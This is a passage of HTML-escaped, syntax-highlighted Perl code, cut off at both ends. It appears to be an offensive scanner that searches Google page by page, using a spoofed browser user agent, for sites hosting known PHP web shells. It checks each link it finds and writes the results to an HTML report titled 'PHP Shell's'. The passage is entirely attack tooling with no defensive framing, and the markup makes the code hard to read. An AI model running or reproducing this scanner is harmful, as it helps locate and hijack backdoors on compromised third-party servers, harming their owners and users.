style=&quot;color: #007700;&quot;&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;push&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;(@&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;checkTerm&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #dd0000;&quot;&gt;&quot;perms&quot;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;if(!@&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;searchTerm&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;)&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;print&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #dd0000;&quot;&gt;&quot;Error:&amp;nbsp;[shell&amp;nbsp;to&amp;nbsp;find]&amp;nbsp;is&amp;nbsp;a&amp;nbsp;unknown&amp;nbsp;shell\n&quot;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;and&amp;nbsp;die;&lt;br /&gt;}&lt;br /&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;my&amp;nbsp;$outputOn&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;;&lt;br /&gt;&lt;br /&gt;if(&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;lc&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;$ARGV&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;])&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;eq&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #dd0000;&quot;&gt;&quot;on&quot;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;)&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;$outputOn&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;=&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;;&lt;br /&gt;}&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;elsif&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;lc&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;$ARGV&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;])&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;eq&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #dd0000;&quot;&gt;&quot;off&quot;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;)&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;$outputOn&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;=&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;;&lt;br /&gt;}&amp;nbsp;else&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;print&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #dd0000;&quot;&gt;&quot;Error:&amp;nbsp;[screen&amp;nbsp;output]&amp;nbsp;must&amp;nbsp;be&amp;nbsp;\&quot;on\&quot;&amp;nbsp;or&amp;nbsp;\&quot;off\&quot;\n&quot;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;and&amp;nbsp;die;&lt;br /&gt;}&lt;br /&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;my&amp;nbsp;$outputFile&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;;&lt;br /&gt;&lt;br /&gt;if(&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;index&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;lc&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;$ARGV&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;]),&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #dd0000;&quot;&gt;&quot;.htm&quot;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;)&amp;nbsp;&amp;gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;)&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;$outputFile&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;=&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;$ARGV&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;];&lt;br /&gt;}&amp;nbsp;else&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;print&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #dd0000;&quot;&gt;&quot;Error:&amp;nbsp;[output&amp;nbsp;HTML&amp;nbsp;file]&amp;nbsp;must&amp;nbsp;be&amp;nbsp;*.htm&amp;nbsp;or&amp;nbsp;*.html\n&quot;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;and&amp;nbsp;die;&lt;br /&gt;}&lt;br /&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;open&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;FILEHANDLE&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #dd0000;&quot;&gt;&quot;&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;$outputFile&lt;/span&gt;&lt;span style=&quot;color: #dd0000;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;);&lt;br /&gt;print&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;FILEHANDLE&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #dd0000;&quot;&gt;&quot;&lt;html&gt;&lt;head&gt;&lt;title&gt;PHP Shell&#39;s&lt;/title&gt;&lt;/head&gt;&lt;body&gt;\n&quot;&lt;/body&gt;&lt;/html&gt;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;close&amp;nbsp;FILEHANDLE&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;;&lt;br /&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;my&amp;nbsp;$userAgent&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;=&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;LWP&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;UserAgent&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;$userAgent&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;agent&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #dd0000;&quot;&gt;&quot;User-Agent=Mozilla/5.0&amp;nbsp;(X11;&amp;nbsp;U;&amp;nbsp;Linux&amp;nbsp;i686;&amp;nbsp;en-US;&amp;nbsp;rv:1.8.1.5)&amp;nbsp;Gecko/20061201&amp;nbsp;Firefox/2.0.0.5&quot;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;);&lt;br /&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;my&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;@&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;resultLinks&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;;&lt;br /&gt;&lt;br /&gt;foreach(@&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;searchTerm&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;)&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;print&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #dd0000;&quot;&gt;&quot;[*]&amp;nbsp;Query&amp;nbsp;for&amp;nbsp;\&quot;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;$_&lt;/span&gt;&lt;span style=&quot;color: #dd0000;&quot;&gt;\&quot;\n&quot;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;if(&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;$outputOn&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;==&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;my&amp;nbsp;$isLastPage&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;=&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;for(&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;my&amp;nbsp;$gPage&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;=&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;;&amp;nbsp;;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;$gPage&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;++)&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if(&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;$isLastPage&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;==&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;)&amp;nbsp;{&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;last&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;my&amp;nbsp;$gRequest&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;=&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;HTTP&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;Request&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;GET&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;=&amp;gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #dd0000;&quot;&gt;&quot;http://www.google.com/search?q=&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;$_&lt;/span&gt;&lt;span style=&quot;color: #dd0000;&quot;&gt;&amp;amp;start=&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;$gPage&lt;/span&gt;&lt;span style=&quot;color: #dd0000;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #dd0000;&quot;&gt;&quot;0&quot;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;my&amp;nbsp;$gResource&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;=&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;$userAgent&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;request&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;$gRequest&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if(&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;$gResource&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;is_success&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;)&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;my&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;@&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;gContent&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;=&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;split&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #dd0000;&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;br /&gt;
&lt;div class=&quot;g&quot; nbsp=&quot;nbsp&quot;&gt;
&lt;code&gt;&lt;span style=&quot;color: black;&quot;&gt;&lt;span style=&quot;color: #dd0000;&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/div&gt;
&lt;code&gt;&lt;span style=&quot;color: black;&quot;&gt;&lt;span style=&quot;color: #dd0000;&quot;&gt;
&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;$gResource&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;content&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if(@&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;gContent&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;&amp;lt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;10&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;)&amp;nbsp;{&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;$isLastPage&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;=&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;;&amp;nbsp;};&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;for(&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;my&amp;nbsp;$gPiece&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;=&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;$gPiece&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;&amp;lt;&amp;nbsp;@&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;gContent&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;$gPiece&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;++)&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;my&amp;nbsp;$shellLink&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;=&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;substr&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;$gContent&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;$gPiece&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;],&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;index&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;$gContent&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;$gPiece&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;],&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #dd0000;&quot;&gt;&quot;href=\&quot;&quot;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;)&amp;nbsp;+&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;6&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;$shellLink&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;=&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;substr&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;$shellLink&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;index&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;$shellLink&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #dd0000;&quot;&gt;&quot;\&quot;&quot;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;));&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;print&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #dd0000;&quot;&gt;&quot;[*]&amp;nbsp;Check&amp;nbsp;status&amp;nbsp;of&amp;nbsp;site&amp;nbsp;\&quot;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;$shellLink&lt;/span&gt;&lt;span style=&quot;color: #dd0000;&quot;&gt;\&quot;\n&quot;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;if(&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;$outputOn&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;==&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;my&amp;nbsp;$sRequest&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: 